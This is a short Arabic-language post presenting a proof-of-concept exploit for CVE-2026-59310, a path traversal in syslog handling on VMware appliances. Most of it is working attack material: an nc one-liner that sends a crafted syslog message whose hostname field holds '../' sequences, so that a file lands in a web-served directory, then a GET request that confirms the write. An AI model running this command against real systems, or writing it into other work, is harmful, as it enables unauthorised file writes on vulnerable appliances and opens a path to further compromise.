
استغلال لإثبات المفهوم لثغرة CVE-2026-59310، يوضح اجتياز المسار عن بُعد عبر رسائل syslog مُصمَّمة لكتابة ملفات سجل تعسفية على أجهزة VMware.
PoC https://trap.biu.life/intelligence/6a82873feb679015eb4c8a67
echo '<30>1 2026-08-14T12:00:00.000Z ../../../../../../opt/vmware/share/htdocs/configurev2/cve59310chkee57b163c432 research - - - CVE-2026-59310-ee57b163c432'|nc syslogserver 514
GET /configurev2/cve59310chkee57b163c432-syslog.log HTTP/1.1